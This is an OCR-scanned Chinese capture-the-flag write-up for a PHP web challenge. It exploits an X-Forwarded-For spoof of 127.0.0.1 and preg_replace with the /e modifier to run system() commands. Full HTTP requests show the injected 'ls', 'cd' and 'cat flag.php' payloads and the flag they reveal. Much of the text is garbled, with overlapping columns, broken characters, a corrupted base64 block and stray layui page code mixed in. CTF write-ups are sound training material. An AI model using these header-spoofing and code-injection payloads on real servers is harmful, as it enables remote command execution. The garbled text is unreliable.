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¥<ul class="layui-nav">
v<1i class="layui-nav-item layui-this">
<a href="2page=index >&FHEFHEFP L /2
rrafter
</1i>
<span class="layui-nav-bar” style="width: @px; left: @px; opacity: 9;
</span>
</ul>
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iv style="text-align:center
p class="lead

PDOwaHAKZXIyb3JfcmVwb3J8al5nKDApOwoKQHN1c3Npb25Ffc3RhenQokTsKcG9zaXhfc2ve
dW1kKDEwMDApOwWoKCj8+CjwhRESDVFIQRSBIVEIMPzo8aHRtbDAKC jxoZWFkPgogICAgPGL1
dGEgY2hhcnN1dD@idXRmLTgiPgogICAgPG11dGEgbmFtZT@1icmVuZGVy ZXTIiIGNvbnR1bnQ9
Ind1l¥YmtpdCI+CiAgTICASBWVEYSBodHRWLWYxdW12PSIYLVVBLUNvEXBhdG1libGUIiIGNvbRR1
bnQ9Ik1FPWVkZI2UsY2hyb211PTEiPgoglCAgPGl1dGEgbmFtZT@idm11d3BvenQiIGNvbnR1
bnQ9IndpZHRoPWR1dmljZ513aWR@aCwgallSpdGlhbClzY2FsZT@xLCBLYXhpbXVELXNF Yix1
PTEiPgogICAgPGxpbmsgcmVsPS]zdHl1s ZXNoZWWVBIiBocmVmPSIsYX11a59jc3MvbGFSdiku
Y3NzIiBtZWRpYTO1YWxsIj4KICAgIDx@aXRsZT7orr7lpIfnu7 TmigTkukK31v4AMBL3RpdGx1
PgogICAgPG11dGEgY2hhenN1dD@idXRmLTgiPgo8L2hlYWO+Cgo8YmOke TAKICAgIDx1bCBS
bGFzcz@ibGFSdWktbmF2Ij4KICAgICAgICABbGkgY 2xhc3MI ImxheXVpLWShdilpdGVtIGxh
eXVpLXRoaXMiPjxhIGhy ZWYSIi9wYWd1PW1luZGVAI§7kupHlubPli7Dorr7lplfnui TmigTk
UK31vAMBL2E+PCYsaTAKICAg I DwvdWw+CiAgICASImI1bGRzZXQgY2xhc3MI ImxheXVpLWVs
ZWetiImllbGQgbGF5dWktZml1bGOtdG18bGUIIHNGeWx1PSItYXInakWdtdGOw0iAzMHBADY I+
CiAgICAgICAgPGx1Z2VuiD7orr71lplflilfooagBl2x122VuZDAKICAgIDWvZml1bGRzZX0+
CiAgICABdGFibGUgY2xhc3MIImxheXVpLWhpZGUiIG1kPSIEZXNAIj48L3RhYmx1PgogICAg
PHNFcmlwdCB@eXB1PSI2ZXhOL2h@bWwilGlkPS]zd218Y2hUcGwiPgogICAgICAZIDWhLSEg
6L+Z6YeM55gEIGNoZWNrZWQEg55qES54q250CB5Y+q5pivSryUSeS6ICetPgogICAgICAgIDxp
bnB1ldCBOeXB1lP5]jaGVja2lveCIghmFtZTOic2VATIiB2YWx17T@ie3tklmlkfX@ilGxhesSlz
a2luP5]zd210Y2gilGxheS10ZXh@PSLIvIBESYWzIiBsYXktImlsdGVyPSIjaGVja@R1bWE1
IHt7IGQualQOPTEgMDAWMYA/ICdjakVia2Vk]IyABICcnIH19PgogICAgPCOzY3 IpcHO+CiAg
ICA8c2NyaXBAIHNyYz0ibGF5dWkvbGF5dkuanMiIGNoYX1zZAQ3InVEIi84I§48L3Njcmlw
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if ($_SE
echo
$pat
$rep
$sub
if (

}els

ARG T

RVER[ 'HTTP_X_FORWARDED FOR'] === '127.0.0.1') {
"<br >Welcome My Admin ! <br >";

tern = $ GET[pat];

lacement = $ GET[rep];

ject = $_GET[sub];

isset($pattern) && isset($replacement) && isset($subject)) {

preg_replace($pattern, $replacement, $subject);
e{
die();

#

(1) FELEhtmIF kA% X P HhiE IP : 127.0.0.1
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Request Response
Raw | Params | Headers | Hex [ Raw I Headers | Hex | HTML I Render ]

Name | Value | [iJ

— LA Iy A
Host 111.198.29.45:56796 & pr iyt siata sl Py
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; r._. r\ Remove
Accept text/html,application/xhtml+xml,application/x... Up
Accept-Language zh-CN.zh;q=0.8,zh-TW;q=0.7.zh-HK:g=0.5e...
Accept-Encoding gzip, deflate S iﬁfﬁ.]ju %E

[==]

Connection close
Cookie PHPSESSID=59mi2qt6s3hlbf5p2ackqqp23
Upgrade-Insecura-Requ... 1 D &-%% ztEE &
Cache-Control max-age=0 1B/
X-Forwarded-For 127.0.01 L

L

Welcome My Admin !

H I Welcome My Admin! i B $ & iR Zh
(2) BT REBRXEKF Hpreg_replace()& # /el i 347 RS $ 47

B %5 A4 — T preg_replace()& $

preg replace($pattern, $replacement, $subject)
VER: #&subjectdhILEpatternfiEhsy, Lhreplacementf A & #E4T & #e .
$pattern: EHERMEN, IR EBE— N/ ELA.

$replacement:  FT &M FRFH TR B HA.
$subject: B R B WA B AR TR R B A R A

BEXTleRF

/e BIER{# preg_replace() ¥ replacement Z¥fE PHP RBY (7E&E XA
SIHEB#REZE -

Hn: EHifR replacement HER—ANEVER PHP RIDFFFE,
BN PHP SEREERS preg_replace() HIATH HIIBIEMBETE IR

kR U R EAE subject A B R Mpatten I N 2%, R # ZEreplacementriin_ /e, & /edRid, A A ATreplacement i)
IE# I phpHY

Ja T B R R XA e T 5 AT SO BRI, R BISK Tflagi & &R



F—H 2= RMEH system(“Is”) KB B F

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender]

GET /index php?pat=fabcfe&rep=system("Is")&sub=defg%2l]abc|HTFPM A

Host: 111.198.29.45:35353

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x64; nv:69.0) Gecko/20100101
Firefox/658.0

Accept: text/html application/xhtml-+xml,application/xml;q=0.9,** q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Refarer: http://111.198.29 45:35353/

Connection: close

Cookie: PHPSESSID=4hrkqfjhGzqsqobvar djds6er3

Upgrade-Insecure-Requests: 1

Cache-Cantral: max-age=0

¥-Forwarded-For: 127.0.0.1

S

{ field: "area’, title: "< f" 3,
{ field: 'status’, title: "#EH 18", minWidth: 120, sort: true },
{ field: ‘check’, title: " & J7 3", width: 85, templet: #switchTpl’, unresize: true }
1
l.
page: true
»
W
<fscript=
<script>
layui.use('element’, function() {
var element = layui.element; /S i [hoveriy B, — @3, @ik Eelementfiiln
TR G

I . 1 . e - I
on(
1 \ LK \ ) {

flconsole.log(elem)
layer.msg(elem.text();
»
W

<[script=

<hr >Welcome My Admin ! <br >css
index.html|

index.php

is

layui

logo.png

s3chahahaDir

start.sh
WE.png

<fbady>

<fhtml=

RIS B3, R R L E % T 8 s3chahahaDir ST i) 42 1R 7] 5

BREFNZMFHEENE

% =2 cd 3l s3chahahaDir XM XHR TFTEFEHNE
cdfi & A system("cd%20s3chahahaDir%26%26%201s")

fERE—T, %20fRETZM, %26%26% &8 1 B T dr-& AT M Ih, ZRSEHAT R KIfr<, 1EHXs3chahahaDir3 {3 i

w. TRA

el
findex.php?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls") &sub=defg %2
Oabe HTTP/1.1

Host: 111.198.29.45:35353

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; nv69.0) Gecko/20100101
Firefox/89.0

Accept: text/html application/xhtml+xml applicationfxml;q=0.9 * q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 ,zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://111.198.29.45:35353/

Connection: close

Cookie: PHPSESSID=4hrkofihSsgsqobvar djd56er3

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

X¥-Forwarded-For: 127.0.0.1

KIflag X, FE AR IEHH

url: fsomrthing.json’,

cellMinWidth: 80,

cols: [

[

{ type: ‘numbers’ },
{ type: ‘checkbox"},
{ field: id’, title: "ID’, width: 100, unresize: true, sort: true },
{ field: 'name’, title: " 2", templet: ¥nameTpl" },
{ field: "area’, title: "X 1’ },
{ field: ‘status’, title: "#i:fFoE", minWidth: 120, sort: true },
{ field: ‘check’, title: "i% % 7-3%", width: 85, templet: ¥switchTpl’, unresize: true }

1
I
page: true
W
»
</script>
<script>
layui.use('element’, function() {
var element = layui.element; //§ i [ihoveril B 230 ahfl, WrfiBelementfitl
I i vy 5

I on(’ | ', functi 1 {

Heonsole.log(elem)
layer.msg(elem.text();
»
»

</script>

<br >Welcome My Admin ! <br >flag

FE R RIRIE) cddr 4 system("cd%20s3chahahaDir/f1ag%26%26%201s")

A FE A~ IR R SR
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GET : url: /somrthing.json’,
findex.php?pat=/abc/e&rep=system("cd%20s3chahahaDirflag %26 %26%201s") &sub=def cellMinWidth: 80,
g%20abe HTTR/M 1 cols: |
Host: 111.198.29.45:35353 [
UserAgent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; nv69.0) Gecko/20100101 { type: 'numbers’'},
Firefox/69.0 { type: ‘checkbhox"},
Accept: text/html application/xhtml+xml applicationfxml; =0.9 **;q=0.8 { field: "id", title: "ID', width: 100, unresize: true, sort: true },
Accept-Language: zh-CN,zh;g=0.8,zh-TW;q=0.7 zh-HK; 5=0.5 ,en-US;q=0.3 en;g=0.2 { field: ‘name’, title: "i% & %", templet: ‘¥nameTpl’},
Accept-Encoding: gzip, deflate { field: "area’, title: "[£ %" },
Referer: http://111.198.29.45:35353/ { field: * HiEFRE, minWidth: 120, sort: true },
Connection: close { field: "check’, title: "k & JF2&", width: 85, templet: #switchTpl', unresize: true }
Cookie: PHPSESSID=4hrkgfjh8sqsqobvar djid56ci3 1
Upgrade-Insecure-Requests: 1 I
Cache-Control: max-age=0 page: true
X-Forwarded-For: 127.0.0.1 HH
s
</script>
<script>
layui.use(‘element’, function() {
var element = layui.element; /S HifhoverZ 8. TSI XhiE, TFEKHelementHil
A o 5
lement.on(nav(demo)’, function(elem) {
/lconsole.log(elem)
layer.msg(elem.text();
HH
W
</script>
<br >Welcome My Admin ! <br >flag.php

&K Biflag.php
B J5 i F catdy 4 i Bt flag.php 1 A &
A iY: system("cat%20s3chahahaDir/flag/flag.php")

)

5 Zlflag

GET .A { type: ‘numbers'},
findex.php?pat=/abc/efrep=system("cat%20s3chahahaDirflagilag. php") &sub=defy %20 { type: ‘checkbox'},
abc HTTR/.1

{ field: ‘id", title: 'ID", width: 100, unresize: true, sort: true },
Host: 111.198.29,45:35353 { field: ‘name’, title: "% % ", templet: ¥nameTpl'},
UserAgent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; nv:69.0) Gecko/20100101 { field: "area’, title: "[< 42" },
Firefox/69.0 { field: ‘status’, title: "Hi4{%
Accept: text/html,application/xhtml+xml,applicationfxml;q=0.9 ** g=0.8 { field: ‘check’, title: “it & I
Accept-Language: zh-CN, zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3,en;q=0.2 1

Accept-Encoding: gzip, deflate 1.

Referar: http:/f111.198.29.45:35353/
Connection: close M
Cookie: PHPSESSID=4hrkqfihSsgsqobvar djd56er3 HH
Upgrade-Insecure-Requests: 1
Cache-Cantrol: max-age=0
X-Forwarded-For: 127.0.0.1

#', minWidth: 120, sort: true },
=", width: 85, templet: #switchTpl', unresize: true }

page: true

</script=

<script>

layui.use('element’, function() {
var element = layui.element; /S fiffhoverZ 8. 3B, 2 ikHelementHil
IR 5 A a8

1 1 ani i )', function(elem) {
\ \ (Xl !

/Iconsole.log(elem)
layer.msg(elem.text();
W
»

</script>

<br >Welcome My Admin ! <kr ><?php

$flag = ‘cyberpeace{37ffcd027137 15240651 hf1 ac3de@d0},

ySINRPSPSEF

(1)1 H phpp E filterb 3 i B SC 4 B4R 55
(2t5&IP

(3)preg_replace()&& $t i /edR A

(4)IE# i php system()E E KB 5
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